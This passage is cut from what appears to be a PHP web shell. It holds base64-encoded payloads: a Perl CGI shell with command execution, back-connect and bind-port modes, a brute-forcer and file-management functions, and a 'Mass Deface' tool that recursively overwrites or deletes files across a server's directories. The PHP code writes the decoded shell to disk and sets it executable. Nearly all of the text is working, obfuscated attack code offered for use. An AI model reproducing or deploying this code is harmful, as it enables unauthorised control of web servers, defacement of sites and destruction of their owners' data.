lbHNlDQoJew0KCQkkcmVzdWx0IC49ICc8dGFibGU+PHRyPjx0aD5Eb21haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsNCgl9DQoJZm9yZWFjaCBteSAkb25lIChAY256cykNCgl7DQoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio/KSIgey8pDQoJCXsJDQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGVuYW1lPSAiL2V0Yy92YWxpYXNlcy8iLiRvbmU7DQoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7DQoJCQkkcmVzdWx0IC49ICc8dHIgY2xhc3M9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD4nLiRvbmUuJyA8L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVmlldyBMb2cNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3TG9nDQp7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJcmV0dXJuICI8aDI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDIwcHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsNCgl9DQoJbXkgJHJlc3VsdD0iPHRhYmxlPjx0cj48dGg+UGF0aCBMb2c8L3RoPjx0aD5TdWJtaXQ8L3RoPjwvdHI+IjsNCglteSBAcGF0aGxvZz0oDQoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywNCgkJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywNCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJw0KCQkJCSk7DQoJbXkgJGk9MDsNCglteSAkcGVybXM7DQoJbXkgJHNsOw0KCWZvcmVhY2ggbXkgJGxvZyAoQHBhdGhsb2cpDQoJew0KCQlpZigtdyAkbG9nKQ0KCQl7DQoJCQkkcGVybXM9Ik9LIjsNCgkJfWVsc2UNCgkJew0KCQkJY2hvcCgkc2wgPSBgbG4gLXMgJGxvZyBlcnJvcl9sb2dfJGlgKTsNCgkJCWlmKCZ0cmltKCRscykgZXEgIiIpDQoJCQl7DQoJCQkJaWYoLXIgJGxzKQ0KCQkJCXsNCgkJCQkJJHBlcm1zPSJPSyI7DQoJCQkJCSRsb2c9ImVycm9yX2xvZ18iLiRpOw0KCQkJCX0NCgkJCX1lbHNlDQoJCQl7DQoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7DQoJCQl9DQoJCX0NCgkJJHJlc3VsdCAuPTw8RU5EOw0KCQk8dHI+DQoNCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9nXyRpJykudmFsdWU9J2xlc3MgJyArIHRoaXMudmFsdWU7IiB2YWx1ZT0iJGxvZyIgc2l6ZT0nNTAnLz48L3RkPg0KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90ZD4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIiAvPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIiAvPg0KCQkJPC9mb3JtPg0KCQkJPHRkPiRwZXJtczwvdGQ+DQoNCgkJPC90cj4NCkVORA0KCQkkaSsrOw0KCX0NCgkkcmVzdWx0IC49IjwvdGFibGU+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQokQWN0aW9uID0gJGlueydhJ307DQoNCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7DQojIG1hYyBkaW5oIHh1YXQgdGhvbmcgdGluIG5ldSBrbyBjbyBsZW5oIG5hbyENCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5DQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZighJFdpbk5UKQ0KCXsNCgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQlpZighKCRjaG1vZCBlcSAwKSkNCgkJew0KCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQkJJGZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgkJCWNob3AoJHJlc3VsdD0gYGNobW9kICRjaG1vZCAiJGZpbGUiYCk7DQoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCQl9DQoJCX0NCgl9DQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9Ow0KCWlmKCEkcmVuYW1lIGVxICIiKQ0KCXsNCgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpDQoJCXsNCgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJfWVsc2UNCgkJew0KCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJfQ0KCX0NCgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307DQoJaWYoJHJlbW92ZSBuZSAiIikNCgl7DQoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7DQoJCWlmKC1kICRybSkNCgkJew0KCQkJJlJtRGlyKCRybSk7DQoJCX1lbHNlDQoJCXsNCgkJCWlmKHVubGluaygkcm0pKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0JCQkNCgkJfQ0KCX0NCglwcmludCAmTGlzdERpcjsNCg0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAic2F2ZSIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHNhdmUgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQ0KCXsNCgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCX1lbHNlDQoJew0KCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCX0NCglwcmludCAmTGlzdERpcjsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KDQoJcHJpbnQgJlVwbG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJiYWNrYmluZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gYmFjayBjb25uZWN0IG9yIGJpbmQgcG9ydA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsNCglwcmludCAmQmFja0JpbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJkJydXRlRm9yY2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgCQkJCSMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCglwcmludCAmRG93bmxvYWRGaWxlOw0KfWVsc2lmKCRBY3Rpb24gZXEgImNoZWNrbG9nIikgCQkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxvZyBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0xvZzsNCg0KfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbg0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQomUHJpbnRQYWdlRm9vdGVyOw==";\r\n\t$cgi = fopen($file_cgi, "w");\r\n\tfwrite($cgi, base64_decode($cgi_script));\r\n\tfwrite($htcgi, $isi_htcgi);\r\n\tchmod($file_cgi, 0755);\r\n        chmod($memeg, 0755);\r\n\techo "<br><center>Done ... <a href=\'hex_cgi/cgi.hex\' target=\'_blank\'>Click Here</a></div>";\r\n\thardFooter();\r\n}\r\n\r\n\r\n// Mass Deface Section Start\r\nfunction actionSql() {\r\n\thardHeader();\r\n\techo "<center><h1>Mass Tools</h1><div class=content><br>";\r\n\t@ini_set(\'display_errors\', 0);\r\n\t$cgi_dir = mkdir(\'hex_tools\', 0755);\r\n        chdir(\'hex_tools\');\r\n\t$file_mass = "mas.php";\r\n\t$mass_script = "PD9waHAgCkBpbmlfc2V0KCdlcnJvcl9sb2cnLCBOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLCAwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsIDApOwpAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsIDApOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsKZWNobyAiPGNlbnRlcj48Zm9ybSBhY3Rpb249XCJcIiBtZXRob2Q9XCJwb3N0XCI+ICI7CmZ1bmN0aW9uIGVkaXRfZmlsZSgkZmlsZSwgJGluZGV4KSB7CiAgICBpZiAoaXNfd3JpdGFibGUoJGZpbGUpKSB7CiAgICAgICAgY2xlYXJfZmlsbCgkZmlsZSwgJGluZGV4KTsKICAgICAgICBlY2hvICI8U3BhbiBzdHlsZT0nY29sb3I6Z3JlZW47Jz48c3Ryb25nPiBbK10gRG9uZSAxMDAlIFN1Y2Nlc3NmdWxsIDwvc3Ryb25nPjwvc3Bhbj48YnI+PC9jZW50ZXI+IjsKICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAiPFNwYW4gc3R5bGU9J2NvbG9yOnJlZDsnPjxzdHJvbmc+IFstXSBGYWlsZWQgOiggPC9zdHJvbmc+PC9zcGFuPjxicj48L2NlbnRlcj4iOyAKICAgIH0KfSAKZnVuY3Rpb24gaGFwdXNfTWFzc2FsKCRkaXIsICRuYW1hZmlsZSkgewogICAgaWYgKGlzX3dyaXRhYmxlKCRkaXIpKSB7CiAgICAgICAgJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwogICAgICAgIGZvcmVhY2ggKCRkaXJhIGFzICRkaXJiKSB7CiAgICAgICAgICAgICRkaXJjID0gIiRkaXIvJGRpcmIiOwogICAgICAgICAgICAkbG9rYXNpID0gJGRpcmMgLiAnLycgLiAkbmFtYWZpbGU7CiAgICAgICAgICAgIGlmICgkZGlyYiA9PT0gJy4nKSB7CiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoIiRkaXIvJG5hbWFmaWxlIikpIHsKICAgICAgICAgICAgICAgICAgICB1bmxpbmsoIiRkaXIvJG5hbWFmaWxlIik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmICgkZGlyYiA9PT0gJy4uJykgewogICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCIiIC4gZGlybmFtZSgkZGlyKSAuICIvJG5hbWFmaWxlIikpIHsKICAgICAgICAgICAgICAgICAgICB1bmxpbmsoIiIgLiBkaXJuYW1lKCRkaXIpIC4gIi8kbmFtYWZpbGUiKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGRpcmMpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRkaXJjKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGxva2FzaSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIls8Zm9udCBjb2xvcj1vcmFuZ2U+REVMRVRFRDwvZm9udD5dICRsb2thc2k8YnI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVubGluaygkbG9rYXNpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpZHggPSBoYXB1c19NYXNzYWwoJGRpcmMsICRuYW1hZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KZnVuY3Rpb24gY2xlYXJfZmlsbCgkZmlsZSwgJGluZGV4KSB7CiAgICBpZiAoZmlsZV9leGlzdHMoJGZpbGUpKSB7CiAgICAgICAgJGhhbmRsZSA9IGZvcGVuKCRmaWxlLCAndycpOwogICAgICAgIGZ3cml0ZSgkaGFuZGxlLCAnJyk7CiAgICAgICAgZndyaXRlKCRoYW5kbGUsICRpbmRleCk7CiAgICAgICAgZmNsb3NlKCRoYW5kbGUpOwogICAgfQp9CmZ1bmN0aW9uIGdhc3MoKSB7CiAgICBnbG9iYWwgJGRpcnIsICRpbmRleDsKICAgIGNoZGlyKCRkaXJyKTsKICAgICRtZSA9IHN0cl9yZXBsYWNlKGRpcm5hbWUoX19GSUxFX18pIC4gJy8nLCAnJywgX19GSUxFX18pOwogICAgJGZpbGVzID0gc2NhbmRpcigkZGlycik7CiAgICAkbm90YWxsb3cgPSBhcnJheSgiLmh0YWNjZXNzIiwgInd3dyIsICJXZWIuQ29uZmlnIiwgIlVNRC5waHAiLCAiV2ViLmNvbmZpZyIsICJ3ZWIuY29uZmlnIiwgIndlYi5Db25maWciLCAiLi4iLCAiLiIpOwogICAgc29ydCgkZmlsZXMpOwogICAgJG4gPSAwOwogICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7CiAgICAgICAgaWYgKCRmaWxlICE9ICRtZSAmJiBpc19kaXIoJGZpbGUpICE9IDEgJiYgIWluX2FycmF5KCRmaWxlLCAkbm90YWxsb3cpKSB7CiAgICAgICAgICAgIGVjaG8gIjxjZW50ZXI+PFNwYW4gc3R5bGU9J2NvbG9yOiAjOEE4QThBOyc+PHN0cm9uZz4kZGlyci88L3NwYW4+JGZpbGU8L3N0cm9uZz4gPT09PT4gIjsKICAgICAgICAgICAgZWRpdF9maWxlKCRmaWxlLCAkaW5kZXgpOwogICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAkbiA9ICRuICsgMTsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICI8YnI+IjsKICAgIGVjaG8gIjxjZW50ZXI+PGJyPjxoMz4kbiBGaWxlcyBEZWZhY2VkIDwvaDM+PC9jZW50ZXI+PGJyPiAiOwp9IApmdW5jdGlvbiBMaXN0RmlsZXMoJGRpcnJhbGwpIHsKICAgIGlmICgkZGggPSBvcGVuZGlyKCRkaXJyYWxsKSkgewogICAgICAgICRmaWxlcyA9IEFycmF5KCk7CiAgICAgICAgJGlubmVyX2ZpbGVzID0gQXJyYXkoKTsKICAgICAgICAkbWUgPSBzdHJfcmVwbGFjZShkaXJuYW1lKF9fRklMRV9fKSAuICcvJywgJycsIF9fRklMRV9fKTsKICAgICAgICAkbm90YWxsb3cgPSBhcnJheSgkbWUsICIuaHRhY2Nlc3MiLCAid3d3IiwgIldlYi5Db25maWciLCAiVU1ELnBocCIsICJXZWIuY29uZmlnIiwgIndlYi5jb25maWciLCAid2ViLkNvbmZpZyIpOwogICAgICAgIHdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgewogICAgICAgICAgICBpZiAoJGZpbGUgIT0gIi4iICYmICRmaWxlICE9ICIuLiIgJiYgJGZpbGVbMF0gIT0gJy4nICYmICFpbl9hcnJheSgkZmlsZSwgJG5vdGFsbG93KSkgewogICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkZGlycmFsbCAuICIvIiAuICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICRpbm5lcl9maWxlcyA9IExpc3RGaWxlcygkZGlycmFsbCAuICIvIiAuICRmaWxlKTsKICAgICAgICAgICAgICAgICAgICBpZiAoaXNfYXJyYXkoJGlubmVyX2ZpbGVzKSkgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGZpbGVzLCAkaW5uZXJfZmlsZXMpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJGRpcnJhbGwgLiAiLyIgLiAkZmlsZSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgY2xvc2VkaXIoJGRoKTsKICAgICAgICByZXR1cm4gJGZpbGVzOwogICAgfQp9CmZ1bmN0aW9uIGdhc3NfYWxsKCkgewogICAgZ2xvYmFsICRpbmRleDsKICAgICRkaXJyYWxsID0gJF9QT1NUWydkX2RpciddOwogICAgZm9yZWFjaCAoTGlzdEZpbGVzKCRkaXJyYWxsKSBhcyAka2V5ID0+ICRmaWxlKSB7CiAgICAgICAgJGZpbGUgPSBzdHJfcmVwbGFjZSgnLy8nLCAiLyIsICRmaWxlKTsKICAgICAgICBlY2hvICI8Y2VudGVyPjxzdHJvbmc+JGZpbGU8L3N0cm9uZz4gPT09PiI7CiAgICAgICAgZWRpdF9maWxlKCRmaWxlLCAkaW5kZXgpOwogICAgICAgIGZsdXNoKCk7CiAgICB9CiAgICAka2V5ID0gJGtleSArIDE7CiAgICBlY2hvICI8Y2VudGVyPjxicj48aDM+JGtleSBGaWxlcyBEZWZhY2VkIDwvaDM+PC9jZW50ZXI+PGJyPiI7Cn0KZnVuY3Rpb24gc2FidW5fTWFzc2FsKCRkaXIsICRuYW1hZmlsZSwgJGlzaV9zY3JpcHQpIHsKICAgIGlmIChpc193cml0YWJsZSgkZGlyKSkgewogICAgICAgICRkaXJhID0gc2NhbmRpcigkZGlyKTsKICAgICAgICBmb3JlYWNoICgkZGlyYSBhcyAkZGlyYikgewogICAgICAgICAgICAkZGlyYyA9ICIkZGlyLyRkaXJiIjsKICAgICAgICAgICAgJGxva2FzaSA9ICRkaXJjIC4gJy8nIC4gJG5hbWFmaWxlOwogICAgICAgICAgICBpZiAoJGRpcmIgPT09ICcuJykgewogICAgICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOwogICAgICAgICAgICB9IGVsc2VpZiAoJGRpcmIgPT09ICcuLicpIHsKICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGRpcmMpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRkaXJjKSkgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1vcmFuZ2U+WyBET05FIF0gPC9mb250Pjxmb250IGNvbG9yPXdoaXRlPiAkbG9rYXNpPC9mb250Pjxicj4iOwogICAgICAgICAgICAgICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpLCAkaXNpX3NjcmlwdCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRpZHggPSBzYWJ1bl9NYXNzYWwoJGRpcmMsICRuYW1hZmlsZSwgJGlzaV9zY3JpcHQpOwogICAgICAgICAgICAgICAgICAgIH0gIH0gfSAgfSB9Cn0gCmlmICgkX1BPU1RbJ01hc3MnXSA9PSAnb25lZGlyJykgewogICAgZWNobyAiPGJyPiBWZXJzaSBUZXh0IEFyZWE8YnI+PHRleHRhcmVhIHN0eWxlPSdiYWNrZ3JvdW5kOmJsYWNrO291dGxpbmU6bm9uZTtjb2xvcjpyZWQ7JyBuYW1lPSdpbmRleCcgcm93cz0nMTAnIGNvbHM9JzY3Jz4KIjsKICAgICRpbmkgPSAiaHR0cDovLyI7CiAgICAkbWFpbnBhdGggPSAkX1BPU1RbZF9kaXJdOwogICAgJGZpbGUgPSAkX1BPU1RbZF9maWxlXTsKICAgICRkaXIgPSBvcGVuZGlyKCIkbWFpbnBhdGgiKTsKICAgICRjb2RlID0gYmFzZTY0X2VuY29kZSgkX1BPU1Rbc2NyaXB0XSk7CiAgICAkaW5keCA9IGJhc2U2NF9kZWNvZGUoJGNvZGUpOwogICAgd2hpbGUgKCRyb3cgPSByZWFkZGlyKCRkaXIpKSB7CiAgICAgICAgJHN0YXJ0ID0gQGZvcGVuKCIkcm93LyRmaWxlIiwgIncrIik7CiAgICAgICAgJGZpbmlzaCA9IEBmd3JpdGUoJHN0YXJ0LCAkaW5keCk7CiAgICAgICAgaWYgKCRmaW5pc2gpIHsKICAgICAgICAgICAgZWNobyAiJGluaSRyb3cvJGZpbGUKIjsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICI8L3RleHRhcmVhPjxicj48YnI+PGJyPjxiPlZlcnNpIFRleHQ8L2I+PGJyPjxicj48YnI+CiI7CiAgICAkbWFpbnBhdGggPSAkX1BPU1RbZF9kaXJdOwogICAgJGZpbGUgPSAkX1BPU1RbZF9maWxlXTsKICAgICRkaXIgPSBvcGVuZGlyKCIkbWFpbnBhdGgiKTsKICAgICRjb2RlID0gYmFzZTY0X2VuY29kZSgkX1BPU1Rbc2NyaXB0XSk7CiAgICAkaW5keCA9IGJhc2U2NF9kZWNvZGUoJGNvZGUpOwogICAgd2hpbGUgKCRyb3cgPSByZWFkZGlyKCRkaXIpKSB7CiAgICAgICAgJHN0YXJ0ID0gQGZvcGVuKCIkcm93LyRmaWxlIiwgIncrIik7CiAgICAgICAgJGZpbmlzaCA9IEBmd3JpdGUoJHN0YXJ0LCAkaW5keCk7CiAgICAgICAgaWYgKCRmaW5pc2gpIHsKICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iaHR0cDovLycgLiAkcm93IC4gJy8nIC4gJGZpbGUgLiAnIiB0YXJnZXQ9Il9ibGFuayI+aHR0cDovLycgLiAkcm93IC4gJy8nIC4gJGZpbGUgLiAnPC9hPjxicj4nOwogICAgICAgIH0KICAgIH0KfSBlbHNlaWYgKCRfUE9TVFsnTWFzcyddID09ICdzYWJ1bmthYmVoJykgewogICAgZ2FzcygpOwp9IGVsc2VpZiAoJF9QT1NUWydNYXNzJ10gPT0gJ2hhcHVzTWFzc2FsJykgewogICAgaGFwdXNfTWFzc2FsKCRfUE9TVFsnZF9kaXInXSwgJF9QT1NUWydkX2ZpbGUnXSk7Cn0gZWxzZWlmICgkX1BPU1RbJ01hc3MnXSA9PSAnc2FidW5tZW1hdGlrYW4nKSB7CiAgICBnYXNzX2FsbCgpOwp9IGVsc2VpZiAoJF9QT1NUWydNYXNzJ10gPT0gJ01hc3NkZWZhY2UnKSB7CiAgICBlY2hvICI8ZGl2IHN0eWxlPSdtYXJnaW46IDVweCBhdXRvOyBwYWRkaW5nOiA1cHgnPiI7CiAgICBzYWJ1bl9NYXNzYWwoJF9QT1NUWydkX2RpciddLCAkX1BPU1RbJ2RfZmlsZSddLCAkX1BPU1RbJ3NjcmlwdCddKTsKICAgIGVjaG8gIjwvZGl2PiI7Cn0gZWxzZSB7CiAgICBlY2hvICI8Y2VudGVyPgkJPGZvbnQgZmFjZT0nSWNlbGFuZCcgY29sb3I9J29yYW5nZScgc2l6ZT0nMycgPlNlbGVjdCBUeXBlOjxicj48L2ZvbnQ+PHNlbGVjdCBjbGFzcz1cInNlbGVjdFwiIG5hbWU9XCJNYXNzXCIgIHN0eWxlPVwid2lkdGg6IDQ1MHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMyMDI4MzI7IGNvbG9yOiNmZmZmZmZcIiBoZWlnaHQ9XCIxMFwiID48b3B0aW9uIHZhbHVlPVwib25lZGlyXCI+TWFzcyBEZWZhY2UgMSBEaXI8L29wdGlvbj4JPG9wdGlvbiB2YWx1ZT1cIk1hc3NkZWZhY2VcIj5NYXNzIERlZmFjZSBBTEwgRGlyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cInNhYnVua2FiZWhcIj5DdXJyZW50IERpciBBbGwgRmlsZXM8L29wdGlvbj4JPG9wdGlvbiB2YWx1ZT1cInNhYnVubWVtYXRpa2FuXCI+UmVwbGFjZSBFdmVyeXRoaW5nIFdpdGggRGVmYWNlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cImhhcHVzTWFzc2FsXCI+TWFzcyBEZWxldGUgRmlsZXM8L29wdGlvbj48L2NlbnRlcj48L3NlbGVjdD48YnI+PGZvbnQgZmFjZT0nSWNlbGFuZCcgY29sb3I9J29yYW5nZScgc2l6ZT0nMycgPkZvbGRlcjo8L2ZvbnQ+PGJyPgk8aW5wdXQgbmFtZT0nZF9kaXInIHZhbHVlPSciLmdldGN3ZCgpLiInIHJlcXVpcmVkPScnIHR5cGU9J3RleHQnIHN0eWxlPSd3aWR0aDogNDUwcHg7IGJhY2tncm91bmQtY29sb3I6IzIwMjgzMjsgY29sb3I6I2ZmZmZmZicgaGVpZ2h0PScxMCc+PGJyPjxmb250IGZhY2U9J0ljZWxhbmQnIGNvbG9yPSdvcmFuZ2UnIHNpemU9JzMnID5GaWxlbmFtZTo8L2ZvbnQ+PGJyPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHZhbHVlPSdpbmRleC5odG1sJyBzdHlsZT0nd2lkdG